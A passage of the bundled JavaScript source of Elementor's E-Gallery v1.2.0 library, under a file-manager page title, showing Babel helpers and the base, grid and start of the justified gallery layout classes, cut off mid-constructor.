Sindbad~EG File Manager
/*! E-Gallery v1.2.0 by Elementor */
var EGallery =
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = "./src/js/e-gallery.js");
/******/ })
/************************************************************************/
/******/ ({
/***/ "./node_modules/@babel/runtime/helpers/assertThisInitialized.js":
/*!**********************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/assertThisInitialized.js ***!
\**********************************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _assertThisInitialized(self) {
if (self === void 0) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return self;
}
module.exports = _assertThisInitialized;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/classCallCheck.js":
/*!***************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/classCallCheck.js ***!
\***************************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError("Cannot call a class as a function");
}
}
module.exports = _classCallCheck;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/createClass.js":
/*!************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/createClass.js ***!
\************************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
function _createClass(Constructor, protoProps, staticProps) {
if (protoProps) _defineProperties(Constructor.prototype, protoProps);
if (staticProps) _defineProperties(Constructor, staticProps);
return Constructor;
}
module.exports = _createClass;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/getPrototypeOf.js":
/*!***************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/getPrototypeOf.js ***!
\***************************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _getPrototypeOf(o) {
module.exports = _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
return o.__proto__ || Object.getPrototypeOf(o);
};
return _getPrototypeOf(o);
}
module.exports = _getPrototypeOf;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/inherits.js":
/*!*********************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/inherits.js ***!
\*********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
var setPrototypeOf = __webpack_require__(/*! ./setPrototypeOf */ "./node_modules/@babel/runtime/helpers/setPrototypeOf.js");
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function");
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
writable: true,
configurable: true
}
});
if (superClass) setPrototypeOf(subClass, superClass);
}
module.exports = _inherits;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/possibleConstructorReturn.js":
/*!**************************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/possibleConstructorReturn.js ***!
\**************************************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
var _typeof = __webpack_require__(/*! ../helpers/typeof */ "./node_modules/@babel/runtime/helpers/typeof.js");
var assertThisInitialized = __webpack_require__(/*! ./assertThisInitialized */ "./node_modules/@babel/runtime/helpers/assertThisInitialized.js");
function _possibleConstructorReturn(self, call) {
if (call && (_typeof(call) === "object" || typeof call === "function")) {
return call;
}
return assertThisInitialized(self);
}
module.exports = _possibleConstructorReturn;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/setPrototypeOf.js":
/*!***************************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/setPrototypeOf.js ***!
\***************************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _setPrototypeOf(o, p) {
module.exports = _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
o.__proto__ = p;
return o;
};
return _setPrototypeOf(o, p);
}
module.exports = _setPrototypeOf;
/***/ }),
/***/ "./node_modules/@babel/runtime/helpers/typeof.js":
/*!*******************************************************!*\
!*** ./node_modules/@babel/runtime/helpers/typeof.js ***!
\*******************************************************/
/*! no static exports found */
/***/ (function(module, exports) {
function _typeof3(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof3 = function _typeof3(obj) { return typeof obj; }; } else { _typeof3 = function _typeof3(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof3(obj); }
function _typeof2(obj) {
if (typeof Symbol === "function" && _typeof3(Symbol.iterator) === "symbol") {
_typeof2 = function _typeof2(obj) {
return _typeof3(obj);
};
} else {
_typeof2 = function _typeof2(obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : _typeof3(obj);
};
}
return _typeof2(obj);
}
function _typeof(obj) {
if (typeof Symbol === "function" && _typeof2(Symbol.iterator) === "symbol") {
module.exports = _typeof = function _typeof(obj) {
return _typeof2(obj);
};
} else {
module.exports = _typeof = function _typeof(obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : _typeof2(obj);
};
}
return _typeof(obj);
}
module.exports = _typeof;
/***/ }),
/***/ "./src/js/e-gallery.js":
/*!*****************************!*\
!*** ./src/js/e-gallery.js ***!
\*****************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "default", function() { return EGallery; });
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @babel/runtime/helpers/classCallCheck */ "./node_modules/@babel/runtime/helpers/classCallCheck.js");
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @babel/runtime/helpers/createClass */ "./node_modules/@babel/runtime/helpers/createClass.js");
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _types_grid__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./types/grid */ "./src/js/types/grid.js");
/* harmony import */ var _types_justified__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./types/justified */ "./src/js/types/justified.js");
/* harmony import */ var _types_masonry__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./types/masonry */ "./src/js/types/masonry.js");
/* harmony import */ var _scss_e_gallery_scss__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../scss/e-gallery.scss */ "./src/scss/e-gallery.scss");
/* harmony import */ var _scss_e_gallery_scss__WEBPACK_IMPORTED_MODULE_5___default = /*#__PURE__*/__webpack_require__.n(_scss_e_gallery_scss__WEBPACK_IMPORTED_MODULE_5__);
var EGallery =
/*#__PURE__*/
function () {
function EGallery(userSettings) {
_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default()(this, EGallery);
this.userSettings = userSettings;
this.initGalleriesTypes();
this.createGallery();
}
_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default()(EGallery, [{
key: "getDefaultSettings",
value: function getDefaultSettings() {
return {
container: null,
items: null,
type: 'grid',
tags: [],
overlay: false,
overlayTemplate: '<div class="{{ classesPrefix }}{{ classes.overlayTitle }}">{{ title }}</div><div class="{{ classesPrefix }}{{ classes.overlayDescription }}">{{ description }}</div>',
columns: 5,
horizontalGap: 10,
verticalGap: 10,
rtl: false,
animationDuration: 350,
lazyLoad: false,
classesPrefix: 'e-gallery-',
classes: {
container: 'container',
item: 'item',
image: 'image',
overlay: 'overlay',
overlayTitle: 'overlay__title',
overlayDescription: 'overlay__description',
link: 'link',
firstRowItem: 'first-row-item',
animated: '-animated',
hidden: 'item--hidden',
lazyLoad: '-lazyload',
imageLoaded: 'image-loaded'
},
selectors: {
items: '.e-gallery-item',
image: '.e-gallery-image'
},
breakpoints: {
1024: {
horizontalGap: 5,
verticalGap: 5,
columns: 4
},
768: {
horizontalGap: 1,
verticalGap: 1,
columns: 2
}
}
};
}
}, {
key: "initGalleriesTypes",
value: function initGalleriesTypes() {
this.galleriesTypes = {
grid: _types_grid__WEBPACK_IMPORTED_MODULE_2__["default"],
justified: _types_justified__WEBPACK_IMPORTED_MODULE_3__["default"],
masonry: _types_masonry__WEBPACK_IMPORTED_MODULE_4__["default"]
};
}
}, {
key: "createGallery",
value: function createGallery() {
var settings = jQuery.extend(this.getDefaultSettings(), this.userSettings);
var GalleryHandlerType = this.galleriesTypes[settings.type];
this.galleryHandler = new GalleryHandlerType(settings);
}
}, {
key: "setSettings",
value: function setSettings(key, value) {
this.galleryHandler.setSettings(key, value);
}
}, {
key: "destroy",
value: function destroy() {
this.galleryHandler.destroy();
}
}]);
return EGallery;
}();
/***/ }),
/***/ "./src/js/types/base.js":
/*!******************************!*\
!*** ./src/js/types/base.js ***!
\******************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "default", function() { return BaseGalleryType; });
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @babel/runtime/helpers/classCallCheck */ "./node_modules/@babel/runtime/helpers/classCallCheck.js");
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @babel/runtime/helpers/createClass */ "./node_modules/@babel/runtime/helpers/createClass.js");
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../utils */ "./src/js/utils/index.js");
var BaseGalleryType =
/*#__PURE__*/
function () {
function BaseGalleryType(settings) {
var _this = this;
_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default()(this, BaseGalleryType);
this.settings = jQuery.extend(true, this.getDefaultSettings(), settings);
this.$container = jQuery(this.settings.container);
this.timeouts = [];
this.initElements();
this.prepareGallery();
var oldRunGallery = this.runGallery.bind(this);
this.runGallery = this.debounce(function () {
for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
if (_this.settings.lazyLoad) {
oldRunGallery.apply(void 0, args);
} else {
_this.allImagesPromise.then(function () {
return oldRunGallery.apply(void 0, args);
});
}
}, 300);
if (this.settings.lazyLoad) {
this.handleScroll = this.debounce(function () {
return _this.lazyLoadImages();
}, 16);
}
this.bindEvents();
this.runGallery();
}
_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default()(BaseGalleryType, [{
key: "getDefaultSettings",
value: function getDefaultSettings() {
return {};
}
}, {
key: "getItemClass",
value: function getItemClass(className) {
return this.settings.classesPrefix + className;
}
}, {
key: "initElements",
value: function initElements() {
this.elements = {
$window: jQuery(window)
};
var directionClass = '-' + (this.settings.rtl ? 'rtl' : 'ltr');
var containerClasses = this.getItemClass(this.settings.classes.container) + ' ' + this.getItemClass(this.settings.type) + ' ' + this.getItemClass(directionClass);
if (this.settings.lazyLoad) {
containerClasses += ' ' + this.getItemClass(this.settings.classes.lazyLoad);
}
this.$container.addClass(containerClasses);
}
}, {
key: "bindEvents",
value: function bindEvents() {
this.elements.$window.on('resize', this.runGallery);
if (this.settings.lazyLoad) {
this.elements.$window.on('scroll', this.handleScroll);
}
}
}, {
key: "getNestedObjectData",
value: function getNestedObjectData(object, key) {
var keyStack = key.split('.'),
currentKey = keyStack.splice(0, 1);
if (!keyStack.length) {
return {
object: object,
key: key
};
}
return this.getNestedObjectData(object[currentKey], keyStack.join('.'));
}
}, {
key: "getTemplateArgs",
value: function getTemplateArgs(args, key) {
var nestedObjectData = this.getNestedObjectData(args, key);
return nestedObjectData.object[nestedObjectData.key] || '';
}
}, {
key: "getCurrentBreakpoint",
value: function getCurrentBreakpoint() {
var breakpoints = Object.keys(this.settings.breakpoints).map(Number).sort(function (a, b) {
return a - b;
});
var currentBreakpoint = 0;
breakpoints.some(function (breakpoint) {
if (innerWidth < breakpoint) {
currentBreakpoint = breakpoint;
return true;
}
return false;
});
return currentBreakpoint;
}
}, {
key: "getCurrentDeviceSetting",
value: function getCurrentDeviceSetting(settingKey) {
var currentBreakpoint = this.getCurrentBreakpoint();
if (currentBreakpoint) {
return this.settings.breakpoints[currentBreakpoint][settingKey];
}
return this.settings[settingKey];
}
}, {
key: "getActiveItems",
value: function getActiveItems() {
var returnIndexes = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var activeTags = this.settings.tags,
activeIndexes = [];
if (!activeTags.length) {
if (returnIndexes) {
this.$items.each(function (index) {
activeIndexes.push(index);
});
return activeIndexes;
}
return this.$items;
}
var filteredItems = this.$items.filter(function (index, item) {
var itemTags = item.dataset.eGalleryTags;
if (!itemTags) {
return false;
}
itemTags = itemTags.split(/[ ,]+/);
if (activeTags.some(function (tag) {
return itemTags.includes(tag);
})) {
if (returnIndexes) {
activeIndexes.push(index);
}
return true;
}
return false;
});
if (returnIndexes) {
return activeIndexes;
}
return filteredItems;
}
}, {
key: "getImageData",
value: function getImageData(index) {
if (this.settings.tags.length) {
index = this.getActiveItems(true)[index];
}
return this.imagesData[index];
}
}, {
key: "compileTemplate",
value: function compileTemplate(template, args) {
var _this2 = this;
return template.replace(/{{([^}]+)}}/g, function (match, placeholder) {
return _this2.getTemplateArgs(args, placeholder.trim());
});
}
}, {
key: "createOverlay",
value: function createOverlay(overlayData) {
var _this$settings = this.settings,
classes = _this$settings.classes,
overlayTemplate = _this$settings.overlayTemplate,
$overlay = jQuery('<div>', {
"class": this.getItemClass(classes.overlay)
}),
overlayContent = this.compileTemplate(overlayTemplate, jQuery.extend(true, this.settings, overlayData));
$overlay.html(overlayContent);
return $overlay;
}
}, {
key: "createItem",
value: function createItem(itemData) {
var classes = this.settings.classes,
$item = jQuery('<div>', {
"class": this.getItemClass(classes.item),
'data-e-gallery-tags': itemData.tags
}),
$image = jQuery('<div>', {
"class": this.getItemClass(classes.image)
});
var $overlay;
if (!this.settings.lazyLoad) {
$image.css('background-image', 'url(' + itemData.thumbnail + ')');
}
if (this.settings.overlay) {
$overlay = this.createOverlay(itemData);
}
var $contentWrapper = $item;
if (itemData.url) {
$contentWrapper = jQuery('<a>', {
"class": this.getItemClass(classes.link),
href: itemData.url
});
$item.html($contentWrapper);
}
$contentWrapper.html($image);
if ($overlay) {
$contentWrapper.append($overlay);
}
return $item;
}
}, {
key: "debounce",
value: function debounce(func, wait) {
var _this3 = this;
var timeout;
return function () {
for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
args[_key2] = arguments[_key2];
}
clearTimeout(timeout);
timeout = setTimeout(function () {
return func.apply(void 0, args);
}, wait);
_this3.timeouts.push(timeout);
};
}
}, {
key: "buildGallery",
value: function buildGallery() {
var _this4 = this;
var items = this.settings.items;
this.$items = jQuery();
items.forEach(function (item) {
var $item = _this4.createItem(item);
_this4.$items = _this4.$items.add($item);
_this4.$container.append($item);
});
}
}, {
key: "loadImages",
value: function loadImages() {
var _this5 = this;
var allPromises = [];
this.settings.items.forEach(function (item, index) {
var image = new Image(),
promise = new Promise(function (resolve) {
image.onload = resolve;
});
allPromises.push(promise);
promise.then(function () {
return _this5.calculateImageSize(image, index);
});
image.src = item.thumbnail;
});
this.allImagesPromise = Promise.all(allPromises);
}
}, {
key: "lazyLoadImages",
value: function lazyLoadImages() {
var _this6 = this;
if (this.lazyLoadComplete) {
return;
}
var $items = this.getActiveItems(),
itemsIndexes = this.getActiveItems(true);
$items.each(function (index, item) {
var itemData = _this6.settings.items[itemsIndexes[index]];
if (itemData.loading || !Object(_utils__WEBPACK_IMPORTED_MODULE_2__["elementInView"])(item)) {
return true;
}
itemData.loading = true;
var $item = jQuery(item),
image = new Image(),
promise = new Promise(function (resolve) {
image.onload = resolve;
});
promise.then(function () {
$item.find(_this6.settings.selectors.image).css('background-image', 'url("' + itemData.thumbnail + '")').addClass(_this6.getItemClass(_this6.settings.classes.imageLoaded));
_this6.loadedItemsCount++;
if (_this6.loadedItemsCount === _this6.settings.items.length) {
_this6.lazyLoadComplete = true;
}
});
image.src = itemData.thumbnail;
return true;
});
}
}, {
key: "calculateImageSize",
value: function calculateImageSize(image, index) {
this.imagesData[index] = {
width: image.width,
height: image.height,
ratio: image.width / image.height
};
}
}, {
key: "createImagesData",
value: function createImagesData() {
var _this7 = this;
this.settings.items.forEach(function (item, index) {
return _this7.calculateImageSize(item, index);
});
}
}, {
key: "makeGalleryFromContent",
value: function makeGalleryFromContent() {
var selectors = this.settings.selectors,
isLazyLoad = this.settings.lazyLoad,
items = [];
this.$items = this.$container.find(selectors.items);
this.$items.each(function (index, item) {
var $image = jQuery(item).find(selectors.image);
items[index] = {
thumbnail: $image.data('thumbnail')
};
if (isLazyLoad) {
items[index].width = $image.data('width');
items[index].height = $image.data('height');
} else {
$image.css('background-image', "url(\"".concat($image.data('thumbnail'), "\")"));
}
});
this.settings.items = items;
}
}, {
key: "prepareGallery",
value: function prepareGallery() {
if (this.settings.items) {
this.buildGallery();
} else {
this.makeGalleryFromContent();
}
this.imagesData = [];
if (this.settings.lazyLoad) {
this.loadedItemsCount = 0;
this.lazyLoadComplete = false;
this.createImagesData();
} else {
this.loadImages();
}
}
}, {
key: "runGallery",
value: function runGallery(refresh) {
var _this8 = this;
var containerStyle = this.$container[0].style;
containerStyle.setProperty('--hgap', this.getCurrentDeviceSetting('horizontalGap') + 'px');
containerStyle.setProperty('--vgap', this.getCurrentDeviceSetting('verticalGap') + 'px');
containerStyle.setProperty('--animation-duration', this.settings.animationDuration + 'ms');
this.$items.addClass(this.getItemClass(this.settings.classes.hidden));
this.getActiveItems().removeClass(this.getItemClass(this.settings.classes.hidden));
if (this.settings.lazyLoad) {
setTimeout(function () {
return _this8.lazyLoadImages();
}, 300);
}
this.run(refresh);
}
}, {
key: "setSettings",
value: function setSettings(key, value) {
var nestedObjectData = this.getNestedObjectData(this.settings, key);
if (nestedObjectData.object) {
nestedObjectData.object[nestedObjectData.key] = value;
this.runGallery(true);
}
}
}, {
key: "unbindEvents",
value: function unbindEvents() {
this.elements.$window.off('resize', this.runGallery);
}
}, {
key: "destroy",
value: function destroy() {
this.unbindEvents();
this.$container.empty();
this.timeouts.forEach(function (timeout) {
return clearTimeout(timeout);
});
}
}]);
return BaseGalleryType;
}();
/***/ }),
/***/ "./src/js/types/grid.js":
/*!******************************!*\
!*** ./src/js/types/grid.js ***!
\******************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "default", function() { return Grid; });
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @babel/runtime/helpers/classCallCheck */ "./node_modules/@babel/runtime/helpers/classCallCheck.js");
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @babel/runtime/helpers/createClass */ "./node_modules/@babel/runtime/helpers/createClass.js");
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @babel/runtime/helpers/possibleConstructorReturn */ "./node_modules/@babel/runtime/helpers/possibleConstructorReturn.js");
/* harmony import */ var _babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @babel/runtime/helpers/getPrototypeOf */ "./node_modules/@babel/runtime/helpers/getPrototypeOf.js");
/* harmony import */ var _babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @babel/runtime/helpers/inherits */ "./node_modules/@babel/runtime/helpers/inherits.js");
/* harmony import */ var _babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _base__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./base */ "./src/js/types/base.js");
var Grid =
/*#__PURE__*/
function (_BaseGalleryType) {
_babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4___default()(Grid, _BaseGalleryType);
function Grid() {
_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default()(this, Grid);
return _babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2___default()(this, _babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3___default()(Grid).apply(this, arguments));
}
_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default()(Grid, [{
key: "getDefaultSettings",
value: function getDefaultSettings() {
return {
aspectRatio: '16:9'
};
}
}, {
key: "setItemsPosition",
value: function setItemsPosition() {
var columns = this.getCurrentDeviceSetting('columns');
this.getActiveItems().each(function (index, item) {
item.style.setProperty('--column', index % columns);
item.style.setProperty('--row', Math.floor(index / columns));
});
}
}, {
key: "setContainerSize",
value: function setContainerSize() {
var columns = this.getCurrentDeviceSetting('columns'),
rows = Math.ceil(this.getActiveItems().length / columns),
containerStyle = this.$container[0].style;
containerStyle.setProperty('--columns', columns);
containerStyle.setProperty('--rows', rows);
var itemWidth = this.getActiveItems().width(),
aspectRatio = this.settings.aspectRatio.split(':'),
aspectRatioPercents = aspectRatio[1] / aspectRatio[0],
itemHeight = aspectRatioPercents * itemWidth,
totalHeight = itemHeight * rows + this.getCurrentDeviceSetting('horizontalGap') * (rows - 1),
calculatedAspectRatio = totalHeight / this.$container.width() * 100;
containerStyle.setProperty('--aspect-ratio', aspectRatioPercents * 100 + '%');
containerStyle.setProperty('--container-aspect-ratio', calculatedAspectRatio + '%');
}
}, {
key: "run",
value: function run() {
var _this = this;
var animatedClass = this.getItemClass(this.settings.classes.animated);
this.$container.addClass(animatedClass);
setTimeout(function () {
_this.setItemsPosition();
_this.setContainerSize();
setTimeout(function () {
return _this.$container.removeClass(animatedClass);
}, _this.settings.animationDuration);
}, 50);
}
}]);
return Grid;
}(_base__WEBPACK_IMPORTED_MODULE_5__["default"]);
/***/ }),
/***/ "./src/js/types/justified.js":
/*!***********************************!*\
!*** ./src/js/types/justified.js ***!
\***********************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "default", function() { return Justified; });
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @babel/runtime/helpers/classCallCheck */ "./node_modules/@babel/runtime/helpers/classCallCheck.js");
/* harmony import */ var _babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @babel/runtime/helpers/createClass */ "./node_modules/@babel/runtime/helpers/createClass.js");
/* harmony import */ var _babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_createClass__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @babel/runtime/helpers/possibleConstructorReturn */ "./node_modules/@babel/runtime/helpers/possibleConstructorReturn.js");
/* harmony import */ var _babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_possibleConstructorReturn__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @babel/runtime/helpers/getPrototypeOf */ "./node_modules/@babel/runtime/helpers/getPrototypeOf.js");
/* harmony import */ var _babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_getPrototypeOf__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @babel/runtime/helpers/inherits */ "./node_modules/@babel/runtime/helpers/inherits.js");
/* harmony import */ var _babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _base__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./base */ "./src/js/types/base.js");
var Justified =
/*#__PURE__*/
function (_BaseGalleryType) {
_babel_runtime_helpers_inherits__WEBPACK_IMPORTED_MODULE_4___default()(Justified, _BaseGalleryType);
function Justified() {
_babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default()(this, Justified);
